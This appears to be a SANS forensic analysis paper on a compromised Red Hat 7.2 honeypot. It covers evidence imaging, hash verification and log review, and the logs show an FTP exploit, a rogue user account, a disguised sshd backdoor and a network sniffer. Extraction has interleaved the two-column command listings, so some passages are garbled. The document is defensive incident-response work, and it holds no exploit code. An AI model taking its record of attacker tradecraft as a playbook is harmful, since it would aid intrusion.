The honeypot was placed on the Internet via cable modem on Saturday, November 21<sup>st</sup> at approximately 2:47 AM. The system was compromised at approximately 4:30 AM when the attacker used an exploit to compromise a vulnerability in the FTP daemon. The compromise was not identified until approximately 11:00 am.

Upon discovery, the honeypot was shut down by powering off the virtual device via VMWare.

By going with the second generation solution, we were able to identify interesting behavior taken by the attacker in an attempt to monitor neighboring systems. Our analysis will detail this activity.

# Describe the system to be analyzed

The honeypot consisted of a virtual Redhat 7.2 build on a Windows XP based Dell XPS 2.8 Ghz Pentium 4 VMWare Host. Internet connectivity was controlled by a Redhat 8.0 based Dell Optiplex system with a kernel re-compiled for layer 2 firewalled bridging. This system was installed with 3 network interface cards (NIC's), 2 of which were dedicated to the bridge, the remainder being used for local LAN connectivity. Scripts were developed to monitor traffic traversing the bridge with both TCPdump and Snort 2.0. TCPdump was configured to log all traffic crossing the bridge, while Snort was configured to monitor in network intrusion detection system (NIDS) mode, using current signature files current as of November 20<sup>th</sup>, 2003.



# Hardware Description

#### **Honeypot VMware Host Description**

Case Description: Dell XPS computer CPU: 2.8 Ghz Pentium 4 Memory: 1024 Mb Disk Space: 200Mb Harddrive, 30 Mb Harddrive Peripherals: CDRW drive, 3.5" floppy drive Network: 1 100mb network interface card, 1 Wireless 802.11b wireless card. Keyboard: USB Keybard Mouse: USB Mouse Operating System/Software Description:,Microsoft Windows XP Service Pack 1, VMWARE 4.0 Workstation File-system: NTFS Physical Description: The Dell XPS system is standard blue with a silver front panel finish, the serial number is: 7454-U-23454-A. It stands 26 inches high, is 9 inches wide, and 25 inches deep. It has 2 doors on the front. The first door covers the cdrom drive

and 25 inches deep. It has 2 doors on the front. The first door covers the cdrom drive and floppy bays. The second, smaller door, covers a headphone port, as well as 2 USB ports and 1 fire-wire port.

#### Honeypot VMware Guest System Description

Memory: 256 MB Hard Disk: 4.0 Gb SCSI Emulated CD-ROM: (Set to Autodetect on Host) Floppy Drive: Using drive A: (Set to Autodetect on Host) Network: 1 Network Interface card, bridged to bridging firewall via cross-over cable.

Page 65 of 111 Author retains full rights. **Operating System Description**: Redhat 7.2 Linux, default server build configuration, **Filesystem**: Ext3fs.

**Physical Description**: The system was created virtually in VMWare 4.0 Workstation for Windows.

### Image Media

#### Image Capture and Transfer

Image capture was performed by powering on the virtual device, and interacting with its virtual BIOS to boot to CDROM. A Knoppix 3.2 disk was used to boot the virtual honeypot. The VMware host network adapter line used to bridge to the layer2 bridging firewall monitor system was then connected to a local analysis network so that the partition images could be transferred to the analysis system. We must first calculate a md5sum hash as a future signature to verify authenticity to the original evidence. We then transfer the partition images to the remote analysis server for media analysis.

	Manual Albert Calificat	
rooteu[root]# IdlsK -I /dev/sda	We use the fdisk	
	command to display the	
Disk /dev/sda: 4294 MB, 429496/296 bytes	partition table on the	
255 heads, 63 sectors/track, 522 cylinders	physical disk /dev/sda.	
Units = cylinders of 16065 * 512 = 8225280 bytes	The contents of the	
	partition table show us	
Device Boot Start End Blocks Id System	the 7 partitions of the	
/dev/sda1 * 1 6 48163+ 83 Linux	virtual compromised	
/dev/sda2 7 286 2249100 83 Linux	honeypot hard-drive.	
/dev/sda3 287 388 819315 83 Linux	We will copy the	
/dev/sda4 389 522 1076355 5 Extended	partitions used for the	
/dev/sda5 389 437 393561 83 Linux	/, /boot, /home, /usr,	
/dev/sda6 438 489 417658+ 82 Linux swap	/var partitions to the	
/dev/sda7 490 522 265041 83 Linux	analysis system.	
root@0[root]# for n in 1 2 3 5 6 7	Here we invoke a for	
> do	loop to iterate across	
<pre>&gt; md5sum /dev/sda\${n} &gt;&gt; /tmp/md5sums</pre>	all of our partitions,	
> done	calculating the md5sums	
	of each, storing them	
	in in the /tmp/md5sums	
	file	
	+++0.	
$\frac{1}{2}$	Here we construct a	
root@U[root]# for n in 1 2 3 5 6 7	Here we construct a	
root@U[root]# for n in 1 2 3 5 6 / > do	Here we construct a unix pipeline, where we	
<pre>root@u[root]# for n in 1 2 3 5 6 / &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd cf=/mpt/drive/CCFE/modio_image(partition_£(n) dd gr</pre>	Here we construct a unix pipeline, where we dump raw data with dd	
<pre>root@0[root]# for n in 1 2 3 5 6 / &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; content for</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition	
<pre>root@[root]# for n in 1 2 3 5 6 / &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip	
<pre>root@[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to	
<pre>root@U[root]# for n in 1 2 3 5 6 / &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network	
<pre>root@U[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed)</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent(ssh)	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the	
<pre>root@0[root]# for n in 1 2 3 5 6 / &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec)</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent(ssh) which then transfers that information to the remote analysis server with the dump it to	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent(ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent(ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command.	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out 1</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command.	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out 1 /dev/sda2: Success</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records out 1 /dev/sda2: Success root@GCFA's password: (typed, not displayed)</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established keys and trust	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out 1 /dev/sda2: Success root@GCFA's password: (typed, not displayed) 4498200+0 records in</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established keys and trust relationships due to a	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out 1 /dev/sda2: Success root@GCFA's password: (typed, not displayed) 4498200+0 records in 4498200+0 records out</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established keys and trust relationships due to a low number of	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records in 3023+1 records out 1 /dev/sda2: Success root@GCFA's password: (typed, not displayed) 4498200+0 records in 4498200+0 records out 2303078400 bytes transferred in 890.469500 seconds (2586364</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent(ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established keys and trust relationships due to a low number of partitions, we	
<pre>root@0[root]# for n in 1 2 3 5 6 7 &gt; do &gt; dd if=/dev/sda\${n}   gzip   ssh GCFA dd of=/mnt/drive/GCFA/media_image/partition_\${n}.dd.gz &gt; echo \$n &gt; done root@GCFA's password: (typed, not displayed) 96326+0 records in 96326+0 records out 49318912 bytes transferred in 12.649945 seconds (3898745 bytes/sec) 3023+1 records in 3023+1 records out 1 /dev/sda2: Success root@GCFA's password: (typed, not displayed) 4498200+0 records in 4498200+0 records out 2303078400 bytes transferred in 890.469500 seconds (2586364 bytes/sec)</pre>	Here we construct a unix pipeline, where we dump raw data with dd from each partition through the gzip compression program, to an encrypted network transport agent (ssh) which then transfers that information to the remote analysis server with the dump it to file with the dd command. Having not established keys and trust relationships due to a low number of partitions, we explicitly type the	

Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

813073+1 records in analysis server's root 813073+1 records out password during each 2 iteration. root@GCFA's password: (typed, not displayed) 1638630+0 records in 1638630+0 records out 838978560 bytes transferred in 33.598270 seconds (24970886 bytes/sec) 1641+1 records in 1641+1 records out 3 root@GCFA's password: (typed, not displayed) 787122+0 records in 787122+0 records out 403006464 bytes transferred in 62.256492 seconds (6473324 bytes/sec) 50228+1 records in 50228+1 records out 5 error processing /dev/sda6: failed in buffer read(fd): mdfile: Input/output error root@GCFA's password: (typed, not displayed) dd: reading `/dev/sda6': Input/output error 835312+0 records in 835312+0 records out 427679744 bytes transferred in 29.035616 seconds (14729487 bytes/sec) 11021+1 records in 11021+1 records out 6 root@GCFA's password: (typed, not displayed) 530082+0 records in 530082+0 records out 271401984 bytes transferred in 31.251305 seconds (8684501 bvtes/sec) 18184+1 records in 18184+1 records out 7 root@0[root]# scp /tmp/md5sums GCFA:/mnt/drive/GCFA/media image/ We copy the original root@GCFA's password: the Knoppix calculated md5sums md5sum calculations to 100% 176 187.4KB/s 00:00 the analysis server for later usage.

#### **Image Transfer Integrity Verification**

Transferring our attention to the media analysis system, we again calculate hash signatures of the transferred files, comparing them to the hashes originally calculated from the virtual honeypot partitions. The hashes match, showing preservation of image integrity.

<u> </u>	
[root@GCFA media_image]# for n in 1 2 3 5 6 7	We first would like to
> do	ensure that the files
<pre>&gt; zcat partition \${n}.dd.gz   md5sum</pre>	delivered over the
> done >> md5 verification	network were
	transferred without
	error. We again verify
	the integrity of the
	partition images by
	uncompressing the
	transferred compressed
	partition files with
	zcat, to be hashed by
	the md5sum program,
	writing the results to
	the md5 verification
	file for later
	reference.

[root@GCFA media image]# cat md5 verification	We can view the
497d0df938aaa6579cea0bdc9838ea77 -	contents of the
e98bad2d2a5dffc9490f0938bd09e877 -	md5 verification
7af7600b7d1a15a64a9e4ac73b3115e6 -	program with cat,
5b6683335d1dd0130a874efe1bc70f94 -	seeing the calculated
1415ec26c59064ef8060d80eb95aae19 -	md5 value for each
ca29a184310f6438f31c13ca3814d5db -	partition
	*
[root@GCFA media image]# cat md5sums	We can verify the
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1	We can verify the md5sum calculations
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1 e98bad2d2a5dffc9490f0938bd09e877 /dev/sda2	We can verify the md5sum calculations from the Knoppix loaded
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1 e98bad2d2a5dffc9490f0938bd09e877 /dev/sda2 7af7600b7d1a15a64a9e4ac73b3115e6 /dev/sda3	We can verify the md5sum calculations from the Knoppix loaded CD-ROM virtual honevpot
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1 e98bad2d2a5dffc9490f0938bd09e877 /dev/sda2 7af7600b7d1a15a64a9e4ac73b3115e6 /dev/sda3 5b6683335d1dd0130a874efe1bc70f94 /dev/sda5	We can verify the md5sum calculations from the Knoppix loaded CD-ROM virtual honeypot device.
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1 e98bad2d2a5dffc9490f0938bd09e877 /dev/sda2 7af7600b7d1a15a64a9e4ac73b3115e6 /dev/sda3 5b6683335d1dd0130a874efe1bc70f94 /dev/sda5 1415ec26c59064ef8060d80eb95aae19 /dev/sda6	We can verify the md5sum calculations from the Knoppix loaded CD-ROM virtual honeypot device.
[root@GCFA media_image]# cat md5sums 497d0df938aaa6579cea0bdc9838ea77 /dev/sda1 e98bad2d2a5dffc9490f0938bd09e877 /dev/sda2 7af7600b7d1a15a64a9e4ac73b3115e6 /dev/sda3 5b6683335d1dd0130a874efe1bc70f94 /dev/sda5 1415ec26c59064ef8060d80eb95aae19 /dev/sda6 ca29a184310f6438f31c13ca3814d5db /dev/sda7	We can verify the md5sum calculations from the Knoppix loaded CD-ROM virtual honeypot device.

### Media Analysis

#### **Analysis Environment Configuration**

The evidence from the compromised honey-pot is in an unknown state. The media analysis process must include precautionary measures ensuring that code and data in an unknown state is neither modified nor allowed to execute. We can use options built into the Unix mount program to ensure that the risks around dealing with potentially malicious code are mitigated when we mount the partition images..

The media analysis process begins by setting up the partitions in a way that they can be safely mounted for file-system inspection. To prove chain of custody, we audit the partition contents to verify the integrity of the partitions since media imaging.

[root@GCFA media analysis]#for n in 1 2 3 5 6 7	We use the gunzip
do	program to uncompress
	the transferred files.
<pre>gunzip -c ./partition_\${n}.dd.gz &gt; ./partition_\${n}.dd</pre>	
done	
[root@GCFA media_analysis]# for n in 1 2 3 5 7	Here we again calculate
do	the md5sums of the
<pre>md5sum partition_\${n}.dd</pre>	partitions to compare
done   tee orig_md5s	them with the original
497d0df938aaa6579cea0bdc9838ea77 partition_1.dd	hash signatures. We
e98bad2d2a5dffc9490f0938bd09e877 partition_2.dd	again show preservation
7af7600b7d1a15a64a9e4ac73b3115e6 partition_3.dd	of image integrity.
5b6683335d1dd0130a874efe1bc70f94 partition_5.dd	
ca29a184310f6438f31c13ca3814d5db partition 7.dd	
<pre>[root@GCFA media_analysis]# for n in 1 2 3 5 7; do file</pre>	We use the file command
<pre>partition_\${n}.dd; done   tee fixed_md5s</pre>	to inspect the contents
partition_1.dd: Linux rev 1.0 ext3 filesystem data (needs	of our raw ext3 fs disk
journal recovery)	images. As expected,
partition_2.dd: Linux rev 1.0 ext3 filesystem data (needs	the partitions each
journal recovery)	have ext3 filesystems.
partition_3.dd: Linux rev 1.0 ext3 filesystem data (needs	Due to the nature of
journal recovery)	the abrupt power-off,
partition_5.dd: Linux rev 1.0 ext3 filesystem data (needs	the ext3 file-system
journal recovery)	will need journal
partition_7.dd: Linux rev 1.0 ext3 filesystem data (needs	reconciliations prior
journal recovery)	to mount.

Based on the data returned from the file command above, we see that each of the filesystems on the partition images is listed as needing journal recovery. This is to be expected, since the power-off containment would have left the file-systems in an unknown state. As our honeypot was built with ext3fs file-system, the linux standard filesystem with journaling support, a journal exists of uncommitted changes that must be reconciled into the filesystem prior to read-only mount<sup>6</sup>. The e2fsck utility will be used to reconcile the journal logs with the file-system as shown below:

reconcile the journal logs with the life system as shown ber	J V V .
<pre>[root@GCFA media analysis]# for n in 1 2 3 5 7; do e2fsck -vy</pre>	Here we use the e2fsck
<pre>partition_\${n}.dd; done   tee e2fsck_out</pre>	command to reconciliate
e2fsck 1.32 (09-Nov-2002)	the journals of every
/boot: recovering journal	partition.
/boot: clean, 37/12048 files, 7592/48163 blocks	
e2fsck 1.32 (09-Nov-2002)	Although this changes
/usr: recovering journal	the bitwise
/usr: clean, 60471/281664 files, 283211/562275 blocks	organization of bits
e2fsck 1.32 (09-Nov-2002)	within the partition
/home: recovering journal	image files, the
/home: clean, 32/102592 files, 7356/204828 blocks	journal reconciliation
e2fsck 1.32 (09-Nov-2002)	is really just a
/: recovering journal	application of
/: clean, 17009/98392 files, 84218/393561 blocks	uncommitted journal
e2fsck 1.32 (09-Nov-2002)	file changes to the
/var: recovering journal	greater file-system
/var: clean, 468/66264 files, 38505/265041 blocks 🛛 🔨	structure, where meta-
	data and file-system
	data remain consistent

As the e2fsck journal reconciliation modified the content of the partition images, we must immediately generate new md5sum hashes to capture and print an integrity snapshot of the post-journal-reconciliation evidence. We first utilize the file command to determine that the partition images appear to hold mountable ext3 file-systems.

Check file and md5sum data.

[root@GCFA media_analysis]# for n in 1 2 3 5 7; do file	Here we calculate the
<pre>partition_\${n}.dd; done   tee fixed_md5s</pre>	run the file command
partition 1.dd: Linux rev 1.0 ext3 filesystem data	again to inspect the
partition_2.dd: Linux rev 1.0 ext3 filesystem data	contents of the
partition_3.dd: Linux rev 1.0 ext3 filesystem data	partition image files.
partition_5.dd: Linux rev 1.0 ext3 filesystem data	We see that the file
partition_7.dd: Linux rev 1.0 ext3 filesystem data	systems now do not have
	outstanding journal
	reconciliation
	requirements.
[root@GCFA media_analysis]# for n in 1 2 3 5 7; do md5sum	We re-calculate the
<pre>partition_\${n}.dd; done   tee fixed_md5s2</pre>	md5sums for future
5515ab0f855b0f97eb773eaa28cf9896 partition_1.dd	reference on the recon
<pre>1de502a3df22b71cf17d0e2c46806f7a partition_2.dd</pre>	ciliated file-systems.
af881bc74f0306d196be06687fab4787 partition_3.dd	
67f8f53267e18ea96a8410c5a9960d4a partition_5.dd	
12642703248423dc601bf749ef1b0bec partition 7.dd	

We next wish to mount partitions in a way that will allow for a controlled and safe analysis. The mount command is used below within a Unix shell script to mount the partition images on pre-defined directories with the following options:

- **loop**: the loop option enables usage of mounting on a regular file, such as the partition image files.
- **ro**: stands for read-only, ensures that data can only be read on the mounted filesystems, and thereby protecting them from overwriting of data.

- **noexec**: This option ensures that the execute permissions within the filesystem files are over-ridden and prevented for the duration of mount.
- **noatime**: This option acts as a sort of read-only option for the file-system meta data access time data. It allows us to examine the file-system while not having perturbed any access activity evidence that the attacker may have left.



After mounting, we call the mount command again, this time with no options or arguments, causing it to merely list mounted file-systems. Of these mounted file-systems, we use the grep(grep stands for Get Regular Expression and Print) command to filter for only the filesystems including the text string gcfa within the mount points, which are exclusive to our current work.

At this point, we have successfully mounted the /, /usr, /var, /home, and /boot directories for a safe and controlled investigation of unknown code.

#### **File-System Analysis**

Our file-system analysis will consist of the following steps:

- Log file inspection
- Hidden file search
- Setuid, Setgid files search
- User log evidence analysis
- System configuration file analysis
- Hidden directory analysis
- Chkrootkit analysis

These steps will confirm that an intruder has compromised the system and establish a baseline for further analysis.

#### Log file Evidence

Our first look into the honeypot will be to investigate the log files. We cannot know for sure that the log files have not been tampered with, so we must remember to consider this if future discoveries conflict with the evidence present here:

#### View recent modifications to /var/log log directory

				<u> </u>	9		<i>j</i>		
[root@GCFA log]# ls -latr							Here we list the		
/mnt/drive/GCFA/media_analysis/gcfa/var/log							contents of the log		
total 547									directory using the ls
drwxr-xr-x	2	root	root	1024	Jun	24	2001	fax	command. The -latr
drwxr-x	2	23	23	1024	Aug	7	2001	squid	options specify to list
drwx	2	root	root	1024	Aug	13	2001	samba	all files with expanded
drwxr-xr-x	2	root	root	1024	Aug	27	2001	vbox	detail, organized by
-rw	1	root	root	0	Nov	20	13:35	spooler	date, with most
-rw	1	root	root	0	Nov	20	13:50	xferlog	recently modified files
-rwx	1	26	26	0	Nov	20	13:50	pgsql	being listed last (in
drwxr-xr-x	21	root	root	1024	Nov	20	14:12	••	reverse order)
-rw-rr	1	root	root	61578	Nov	20	21:22	ksyms.3	
-rw-rr	1	root	root	58746	Nov	22	02:16	ksyms.2	
drwxr-xr-x	2	root	root	1024	Nov	22	02:24	sa	
-rw-rr	1	root	root	58746	Nov	22	02:35	ksyms.1	
-rw-rr	1	root	root	56175	Nov	22	02:47	ksyms.0	
-rw-rr	1	root	root	7643	Nov	22	02:47	dmesg	
drwxr-xr-x	8	root	root 🗸	1024	Nov	22	02:47	•	
-rw	1	root	root	20164	Nov	22	02:47	boot.log	
drwxr-xr-x	2	root	root	1024	Nov	22	04:02	httpd	
-rw-rr	1	root	root	14831	Nov	22	04:02	rpmpkgs	
-rw-rr	1	root	root	19136220	Nov	22	04:46	lastlog	
-rw-rw-r	1	root	utmp	49152	Nov	22	04:47	wtmp	
-rw	1	root	root	3566	Nov	22	07:09	secure	
-rw	1	root	root	2968	Nov	22	08:49	maillog	
-rw	1	root	root	122832	Nov	22	11:00	messages	
-rw	1	root	root	60258	Nov	22	11:01	cron	

#### ./var/log/messages

We next investigate the contents of the /var/log/messages log-file. This file serves as the default location for the Linux syslog utility as configured on the Redhat 7.2 Linux distribution to log system messages. Upon inspecting the /var/log/messages, we immediately notice that an anonymous FTP login was logged at 11/22/03 between 4:02:02 and 4:39:39 am. The time of the login was specifed as 11:24:42 am, which suspiciously falls outside of the adjacent log entries. This strange occurrence will mark our first observation of compromise and evidence tampering. Immediately after this
the attacker is observed to have made an account on the system, and to have used that account as a means for system access.

```
Nov 22 04:02:02 ipx-y-z-144 syslogd 1.4.1: restart.
Nov 22 11:24:42 ipx-y-z-144 ftpd[1591]: ANONYMOUS FTP LOGIN FROM 218.3.240.10
[218.3.240.10], mozilla@
Nov 22 04:39:39 ipx-y-z-144 ftpd[1590]: User unknown timed out after 900 seconds at Sat
Nov 22 04:39:39 2003
Nov 22 04:39:39 ipx-y-z-144 ftpd[1590]: FTP session closed
Nov 22 04:46:16 ipx-y-z-144 sshd(pam_unix)[1613]: session opened for user daniel by
(uid=0)
```

The above FTP session may represent the time of original compromise.

Moving down in the /var/log/messages log file, we see that the system is talking to IP (Internet Protocol) address 81.18.87.185 via SSH by the 'daniel' user. As no such account existed upon creation of the honeypot, this marks our first obvious evidence of system compromise.

```
Nov 22 04:47:01 ipx-y-z-144 kernel: write uses obsolete (PF_INET,SOCK_PACKET)
Nov 22 04:47:01 ipx-y-z-144 kernel: eth0: Promiscuous mode enabled.
Nov 22 04:47:01 ipx-y-z-144 kernel: device eth0 entered promiscuous mode
Nov 22 04:47:02 ipx-y-z-144 kflushd[2141]: log: Server listening on port 123.
Nov 22 04:47:02 ipx-y-z-144 kflushd[2141]: log: Generating 768 bit RSA key.
Nov 22 04:47:02 ipx-y-z-144 kflushd[2141]: log: RSA key generation complete.
Nov 22 04:47:22 ipx-y-z-144 kflushd[2173]: log: Connection from 81.18.87.185 port 3228
Nov 22 04:47:23 ipx-y-z-144 kflushd[2174]: log: Connection from 81.18.87.185 port 3230
Nov 22 04:47:30 ipx-y-z-144 kflushd[2174]: fatal: Connection closed by remote host.
Nov 22 04:47:38 ipx-y-z-144 kflushd[2173]: log: Closing connection to 81.18.87.185
Nov 22 04:47:44 ipx-y-z-144 sshd(pam unix)[1613]: session closed for user daniel
Nov 22 04:50:46 ipx-y-z-144 kernel: eth0: Promiscuous mode enabled.
Nov 22 04:52:25 ipx-y-z-144 kernel: eth0: Promiscuous mode enabled.
Nov 22 04:52:25 ipx-y-z-144 kernel: eth0: Promiscuous mode enabled.
Nov 22 05:47:39 ipx-y-z-144 named[853]: listening on IPv4 interface eth0:1-, 1.2.3.4#53
Nov 22 05:47:39 ipx-y-z-144 named[853]: listening on IPv4 interface eth0:2, x.y.z.2#53
Nov 22 05:47:39 ipx-y-z-144 named[853]: listening on IPv4 interface eth0:3, x.y.z.3#53
Nov 22 05:47:47 ipx-y-z-144 named[853]: listening on IPv4 interface eth0:253,
x.v.z.253#53
Nov 22 05:47:47 ipx-y-z-144 named[853]: listening on IPv4 interface eth0:254,
x.y.z.254#53
```

Continuing through /var/log/messages, we see evidence of a sniffer. The kernel notifications of "eth0: Promiscuous mode enabled" show that the network interface card was placed in promiscuous listening mode, which is the first task commonly performed by sniffers. Strangely, we then see the named daemon responding to Ethernet aliases being added for every IP on what appears to be the attackers interpretation of our ISP networking configuration. The attacker apparently has not sufficiently reflected upon the netmask of the honeypot, and has attempted to configure the network interface card in a way that may possibly facilitate arp-cache poisoning man-in-the-middle attacks on what he perceives to be local connected subnet.

#### /var/log/secure

Next we look to the /var/log/secure file, which is used by Redhat Linux to store security related information. Again the attacker has failed to effectively cover their tracks. The compromised FTP sessions spawned by the xinetd daemon are listed here. Evidence of the FTP exploit can be observed in this log as shown below. The attacker then added a user account for himself, using the daniel account name and logs in from IP 81.18.87.185. Some time passes before what appears to be a SSH vulnerability scan

from 218.186.160.70 is repeated a number of times at around 7:09 am.

```
Nov 22 04:24:39 ipx-y-z-144 xinetd[905]: START: ftp pid=1590 from=218.3.240.10
Nov 22 04:24:40 ipx-y-z-144 xinetd[905]: START: ftp pid=1591 from=218.3.240.10
Nov 22 04:39:39 ipx-y-z-144 xinetd[905]: EXIT: ftp pid=1590 duration=900(sec)
Nov 22 04:46:04 ipx-y-z-144 adduser[1614]: new group: name=daniel, gid=501
Nov 22 04:46:04 ipx-y-z-144 adduser[1614]: new user: name=daniel, uid=501, gid=501,
home=/home/daniel, shell=/bin/bash
Nov 22 04:46:15 ipx-y-z-144 sshd[1613]: Accepted password for daniel from 81.18.87.185
port 3208
Nov 22 04:47:57 ipx-y-z-144 xinetd[905]: EXIT: ftp pid=1591 duration=1397(sec)
Nov 22 07:09:21 ipx-y-z-144 sshd[2392]: scanned from 218.186.160.70 with SSH-1.0-
SSH Version Mapper. Don't panic.
Nov 22 07:09:22 ipx-y-z-144 sshd[2387]: Did not receive identification string from
218.186.160.70.
